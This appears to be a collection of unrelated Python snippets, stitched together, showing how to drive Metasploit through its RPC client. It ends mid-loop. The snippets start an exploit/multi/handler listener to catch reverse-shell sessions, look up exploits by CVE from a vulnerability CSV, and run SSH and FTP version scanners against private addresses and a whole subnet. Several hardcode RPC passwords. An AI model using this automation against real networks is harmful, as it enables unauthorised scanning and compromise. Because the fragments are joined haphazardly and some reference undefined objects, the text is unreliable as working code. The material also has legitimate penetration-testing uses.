def _msfInit(self, msfrpc, **kwargs): self.connect(self.outputTextBrowser, SIGNAL('textChanged(QString)'), self._getOutput) self.prompt = 'msf >' self.c = MsfRpcConsole(msfrpc, sessionid=kwargs.get('sessionid'), cb=self._emitSignal) if 'command' in kwargs: self.commanderLineEdit.setText(kwargs['command']) self.commanderLineEdit.emit(SIGNAL('returnPressed()'))
def __init__(self, password, rpcport, listenerport, payload): self.interactorclient = MsfRpcClient(password, ssl=False, port=rpcport) self.consolebuffer = [] self.listenerconsole = MsfRpcConsole(self.interactorclient, cb=self.appendtoconsolebuffer) self.listenerconsole.execute('use exploit/multi/handler') self.listenerconsole.execute('set PAYLOAD ' + payload) self.listenerconsole.execute('set LPORT ' + str(listenerport)) self.listenerconsole.execute('set LHOST 0.0.0.0') self.listenerconsole.execute('set ExitOnSession false') self.listenerconsole.execute('exploit -j') self.currentsessionid = None self.currentshell = None
def init_metasploit(rhosts): config.read('vuln.ini') rhosts = rhosts vuln = config['Settings']['VULN'] threads = config['Settings']['THREADS'] exploit = config['Settings']['EXPLOIT'] client = MsfRpcClient('password') # cb - callback function, executes when data arrives to console console = MsfRpcConsole(client, cb=read_console) print("RHOSTS TO USE: " )#+ rhosts) print("VULNERABILITY TO CHECK: " + vuln) print("THREADS TO USE: " + threads) print("EXPLOIT TO USE: " + exploit) time.sleep(2) return console, rhosts, vuln, threads, exploit
def __init__(self, password, **kwargs): self.fl = True self.client = MsfRpcConsole(MsfRpcClient(password, **kwargs), cb=self.callback) InteractiveConsole.__init__(self, {'rpc': self.client}) self.init_history(path.expanduser('~/.msfconsole_history'))
def console_reader(data_in_console): status_of_console = data_in_console['busy'] console_data = data_in_console['data'].rstrip().split('\n') for line in console_data: if '[+]' in line: line_with_positive.append(line) elif 'exploit/' in line: line_with_exploit.append(line) else: line_with_out.append(line) print status_of_console client = MsfRpcClient("hocine") console = MsfRpcConsole(client, cb=console_reader) #utile.parcer_result_scannig("result_of_scannig.csv") list_cve = [] list_host_exploit = [] list_temp = list() hitgh_vul = open("high_vul.csv", "r") lines = csv.reader(hitgh_vul) for line in lines: list_cve = line[1].split(',') line[1] = "" for cve in list_cve: console.execute("search " + str(cve) + "") time.sleep(5)
from metasploit.msfrpc import MsfRpcClient from metasploit.msfconsole import MsfRpcConsole client = MsfRpcClient('123456', user='******') print dir(console) auxilary = client.modules.auxiliary for i in auxilary: print "\t%s" % i scan = client.modules.use('auxiliary', 'scanner/ssh/ssh_version') scan.description scan.required scan['VERBOSE'] = True scan['RHOSTS'] = '192.168.1.119' print scan.execute() console = MsfRpcConsole(client) console.execute('use scanner/ssh/ssh_version') console.execute('set RHOSTS 192.168.1.119') console.execute('set VERBOSE True') console.execute('run')
def read_console(console_data): global global_console_status global_console_status = console_data['busy'] if '[+]' in console_data['data']: sigdata = console_data['data'].rstrip().split('\n') for line in sigdata: if '[+]' in line: global_positive_out.append(line) client = MsfRpcClient('password') # cb - callback function, executes when data arrives to console console = MsfRpcConsole(client, cb=read_console) time.sleep(10) console.execute('use auxiliary/scanner/ftp/ftp_version') console.execute('set RHOSTS 192.168.0.0/24') console.execute('set THREADS 20') console.execute('run') time.sleep(5) while global_console_status: print 'global_console_status: ' + str(global_console_status) time.sleep(5) time.sleep(5) targets = list() for line in global_positive_out: